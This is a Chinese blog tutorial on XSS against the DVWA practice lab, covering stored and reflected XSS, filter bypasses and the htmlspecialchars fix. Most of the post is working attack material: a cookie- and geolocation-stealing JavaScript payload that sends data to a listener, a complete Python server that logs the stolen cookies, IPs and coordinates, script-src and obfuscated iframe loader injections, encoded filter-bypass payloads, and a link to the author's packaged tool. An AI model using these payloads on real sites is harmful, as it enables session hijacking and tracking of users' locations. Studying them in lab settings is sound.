暑期课程学一学XSS攻击,以及开源项目
XSS攻击
本文主要是使用vulstudy直接搭建的漏洞环境,是其中的DVWA。然后随手记一个反弹shell的工具反弹shell工具。
一些高级的过滤参考了参考文章XSS。
XSS存储型
原理
存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。
low等级的代码如下:
if( isset( $_POST[ 'btnSign' ] ) ) { // 检查是否有POST请求且键 'btnSign' 存在 // 也就是说,表单是否被提交 // 获取输入 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 去掉$message和$name两边的空格字符 // 消毒message输入 $message = stripslashes( $message ); // 移除$message中的反斜杠 $message = mysql_real_escape_string( $message ); // 使用mysql_real_escape_string()函数对$message进行转义,防止SQL注入攻击 // 消毒name输入 $name = mysql_real_escape_string( $name ); // 使用mysql_real_escape_string()函数对$name进行转义,防止SQL注入攻击 // 更新数据库 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 构建插入查询语句,将$message和$name插入到guestbook表中的comment和name字段 $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // 执行查询,如果出错则输出错误信息 // mysql_close(); // 关闭MySQL连接(已被注释掉) }
简单来说,就是会根据输入的结果上传到数据库中。如果成功了,这些js代码则会在html解析的时候执行。
比方提交name为aaa,Message为<script>alert('hello,XSS')</script>
就会被执行如下:
能用来做什么
我们可以在攻击者的服务器,写下一个attack.js文件,在里面写出攻击代码,比如获取cookie之类的代码。然后在有XSS漏洞的地方写入<script src="http://ip:port/attack.js"></script>
,这样访问的时候就可以触发漏洞了。我们接下来举个例子。
我们这里Name输入test(这里可以是随意的)以及Message输入
提交以后,我们可以看到后台获取了IP地址,COOKIE,经纬度的信息:
在前端也可以看到对应的信息更新了,获取到了ip地址等信息:
其他的,还可以实现如下功能:
实现方式
payload如下,提交之后加载就会导致相关的js代码执行:
<script src="http://127.0.0.1:8888/a.js"></script>
其中的127.0.0.1根据攻击方的服务器ip来决定。比如我的本机ip地址也可以是172.17.0.1,那么也可以用这个ip地址访问(同时为了payload更短我将a.js文件名改为了N):
我们发现也是完全可以的。
原理如下:
启动一个apache服务器,根目录下有这个a.js,我开放在888端口,所以可以通过http://127.0.0.1:8888/a.js访问。
// Function to send data to server function sendData(cookie, ip, latitude, longitude) { var img = new Image(); img.src = "http://127.0.0.1:8887/atk?cookie=" + encodeURIComponent(cookie) + "&ip=" + encodeURIComponent(ip) + "&latitude=" + encodeURIComponent(latitude) + "&longitude=" + encodeURIComponent(longitude); } // Get cookie var cookie = document.cookie; // Get geolocation if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(function(position) { var latitude = position.coords.latitude; var longitude = position.coords.longitude; sendData(cookie, "", latitude, longitude); }); } else { console.log("Geolocation is not supported by this browser."); sendData(cookie, "", "", ""); }
这里面的功能就是获取cookie:
var cookie = document.cookie;
经纬度:
var latitude = position.coords.latitude;var longitude = position.coords.longitude;
然后用
"http://127.0.0.1:8887/atk?cookie=" + encodeURIComponent(cookie) + "&ip=" + encodeURICompsonent(ip) + "&latitude=" + encodeURIComponent(latitude) + "&longitude=" + encodeURIComponent(longitude)
去访问下面的python服务器。意思就是把刚才的cookie和经纬度用GET请求传过去,然后到python服务器如下:
from http.server import BaseHTTPRequestHandler, HTTPServer import urllib.parse import datetime # 定义一个处理请求的类 class MyHTTPRequestHandler(BaseHTTPRequestHandler): log_file = "log.txt" # 处理GET请求 def do_GET(self): if self.path == '/': self.send_index() elif self.path.startswith('/log'): self.send_log() elif self.path.startswith('/atk'): # 解析URL中的参数 parsed_path = urllib.parse.urlparse(self.path) query_params = urllib.parse.parse_qs(parsed_path.query) # 获取参数 if 'cookie' in query_params: cookie_value = query_params['cookie'][0] ip_address = self.client_address[0] # 获取客户端IP地址 latitude = query_params.get('latitude', [''])[0] longitude = query_params.get('longitude', [''])[0] # 如果存在X-Forwarded-For头部,则使用该头部的值 x_forwarded_for = self.headers.get('X-Forwarded-For') if x_forwarded_for: ip_address = x_forwarded_for.split(',')[0].strip() # 记录日志 log_entry = f"{datetime.datetime.now()}\n Cookie: {cookie_value},\n IP: {ip_address},\n Latitude: {latitude},\n Longitude: {longitude}\n\n" print(log_entry) self.write_to_log(log_entry) # 返回一个简单的响应 self.send_response(200) self.end_headers() self.wfile.write(b'Cookie Received') # 发送首页 def send_index(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() html = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Welcome Page</title> <style> body { font-family: Arial, sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; background-color: #f0f0f0; } .welcome-message { font-size: 2em; color: #333; } .log-link { margin-top: 20px; } </style> </head> <body> <div class="welcome-message">Welcome to N1nEmAn XSS</div> <a class="log-link" href="/log">View Log</a> <script> // This script can be used for any future JavaScript functionalities console.log("Page loaded successfully"); </script> </body> </html> """ self.wfile.write(html.encode('utf-8')) # 发送日志页面 def send_log(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() # 读取日志文件内容 log_content = self.read_log() html = f""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Log Viewer</title> <style> body {{ font-family: Arial, sans-serif; margin: 20px; }} .log-entry {{ margin-bottom: 10px; padding: 10px; border: 1px solid #ccc; background-color: #f9f9f9; }} </style> </head> <body> <h2>Log Viewer</h2> <div class="log-entries"> {log_content} </div> <a href="/">Back to Home</a> </body> </html> """ self.wfile.write(html.encode('utf-8')) # 读取日志文件 def read_log(self): try: with open(self.log_file, 'r') as log: log_content = log.read().replace("\n","<br>") return log_content except FileNotFoundError: return "Log file not found." # 写入日志文件 def write_to_log(self, log_entry): with open(self.log_file, 'a') as log: log.write(log_entry) # 主程序入口 def run(server_class=HTTPServer, handler_class=MyHTTPRequestHandler, port=8887): server_address = ('', port) httpd = server_class(server_address, handler_class) print(f'Starting httpd on http://127.0.0.1:{port}...') httpd.serve_forever() # 如果是直接运行该脚本,则启动服务器 if __name__ == '__main__': run()
这个python服务器打开在8887端口,主要就是获取刚才得到的cookie和经纬度并且获取用户的ip,然后计入日志,可以通过前端查看。前端如下:
查看日志如下:
XSS反射型
其思路基本和存储型一致,只不过存储型是一直存放在里面,而反射型只有一次。
漏洞源码如下,直接获取输入作为html渲染,则会调用js代码执行,造成XSS漏洞。
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
这个的主要用途还是窃取COOKIE之类的,不过这里需要被攻击者点击有问题的网站,也就是钓鱼网站。一旦点击,则会导致COOKIE,经纬度等的信息泄漏。比如点击sec_web
就会导致弹窗:
如果点击我们刚才使用的漏洞也就是点击我是安全网站,则会导致如下信息泄漏,而且被攻击者几乎无法察觉。
如何修复?
反射型和存储型的修复都是一样的,我们就一起看反射型的了。
中级
我们刚才看的都是低级的。我们看看中级的是如何修复的:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
可以看到他把<script>
给改为了空字符串。能够防止<script>alert('XSS')</script>
的攻击了。
不过对于<script src="http://172.17.0.1:8888/N"></script>
仍然没法防止,因为这里面没有<script>
给他替换。
这里可以有多种绕过方式:
①大小写绕过:<ScRipt>alert(/xss/)</ScRipt> ②双写方式绕过str_replace()函数: <scr<script>ipt>alert(/xss/)</script> ③使用非script标签的xss payload: img标签: <img src=1 onerror=alert('xss')> iframe标签: <iframe onload=alert(1)> <iframe src=javascript:alert('xss');height=0 width=0 /><iframe> 其他标签和利用还有很多很多....
高级
高级的漏洞代码如下:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
这里使用了正则表达式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
把所有的script有关的都过滤掉了,不让出现任何有关script,只要出现都被过滤。但是依然可以绕过,我们前面提到过,可以不用script。
比如
<img src=1 onerror=alert(/xss/)>
这里引用一下他人的博客。
虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src构造可利用的js代码。 1.使用img标签和其编码转换后的XSS payload: <img src=1 onerror=alert(/xss/)> img标签编码转换后的XSS payload例如: <img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> <img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img> <imgsrc=1onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img> 2.使用iframe标签: <iframe onload=alert(/xss/)> 使用DATA URL进行XSS: <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>,其他的XSS payload,还有很多很多...
那么如何实现刚才的获取ip之类的呢?
经过尝试,可以使用如下方式,也就是用iframe和onload进行加载。
<iframe onload="var x='http://172.17.0.1:8888/N';var el=document.createElement(String.fromCharCode(115,99,114,105,112,116));el.src=x;document.head.appendChild(el);">
结果如下:
不可能等级
源代码如下,直接把输入都用html转义了,基本不能XSS攻击。
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
这也是理想的修复方式了。
本质就是做到了
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
(大于) 成为 >
最后
简单来说,XSS可以执行任意的js代码,能够造成非常大的危害。曾经有个师傅叫rabbit,发现了推特的XSS漏洞,结果推特的安全部门认为这是个无关紧要的漏洞,rabbit多次反应都没有得到赏金和承认。最后他把这个漏洞公开,因为官方觉得这个不是什么漏洞,间接导致了黑客使用使得推特的所有广告投放失效,造成了巨大的经济损失。(说明这个例子是告诉大家XSS漏洞危害很大,请不要乱用哦 ; ))
XSS工具用法
已经开源到:https://github.com/N1nEmAn/N1nEXSS
将js下的文件夹保存到apache的目录下,然后修改其中js文件的ip地址为你的实际ip地址。
同时你的payload为:
<script src="http://{你的ip地址}:{你的apache端口,一般为80可以不填写}/N"></script>
然后直接访问你的python服务器即可获取XSS攻击结果。
本文作者:.N1nEmAn
本文链接:https://www.cnblogs.com/9man/p/18292753
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步